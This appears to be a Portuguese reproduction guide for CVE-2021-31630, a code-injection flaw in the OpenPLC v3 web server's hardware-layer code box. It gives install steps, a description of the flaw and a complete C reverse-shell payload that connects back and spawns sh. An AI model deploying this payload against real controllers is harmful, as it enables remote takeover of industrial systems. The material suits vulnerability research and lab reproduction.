
Para reproduzir CVE-2021-31630
OpenPLC é um controlador lógico programável de código aberto baseado em software fácil de usar. Nosso foco é fornecer uma solução industrial de baixo custo para automação e pesquisa. O OpenPLC tem sido usado em muitos artigos de pesquisa como uma estrutura para pesquisa de segurança cibernética industrial, pois é o único controlador que fornece o código-fonte completo. O projeto OpenPLC inclui três subprojetos:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
Onde [platform] pode ser:
win - Instalar OpenPLC no Windows via Cygwin
linux - Instalar OpenPLC em uma distribuição Linux baseada em Debian
docker - Usado pelo Dockerfile (ou seja, não invoca sudo)
rpi - Instalar OpenPLC em um Raspberry Pi
custom - Ignora toda a instalação específica de pacotes e tenta instalar o OpenPLC assumindo que seu sistema já possui todas as dependências atendidas. Esta opção pode ser útil se você estiver tentando instalar o OpenPLC em uma plataforma Linux não suportada ou se tiver instalado manualmente todos os pacotes de dependência antes.
CVE-2021-31630 é uma vulnerabilidade do tipo injeção de código/comando no WebServer do OpenPLC (versão v3 amplamente usada pela comunidade). O erro está na funcionalidade que permite carregar/editar código na interface /hardware (Hardware Layer Code Box), onde os dados de entrada não são adequadamente filtrados/sanitizados antes de serem processados no lado do servidor, levando à capacidade de executar código sob os privilégios do processo do servidor web. A vulnerabilidade foi divulgada em 2021 e tem alta gravidade nos bancos de dados públicos de vulnerabilidades.
Descrição técnica (nível defensivo): a interface web aceita um trecho de "hardware layer code" inserido pelo usuário. Esse trecho de dados é então processado por componentes do servidor que podem compilar/normalizar ou inserir em um contexto de comando sem realizar uma etapa de verificação, filtragem de caracteres especiais ou restrições rigorosas. Em certas condições (por exemplo, dados concatenados em uma string de comando do sistema, ou passados diretamente para uma função de processamento de código), um atacante pode injetar controles que alteram o fluxo de execução.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Código de exploração: cve-2021-31630.py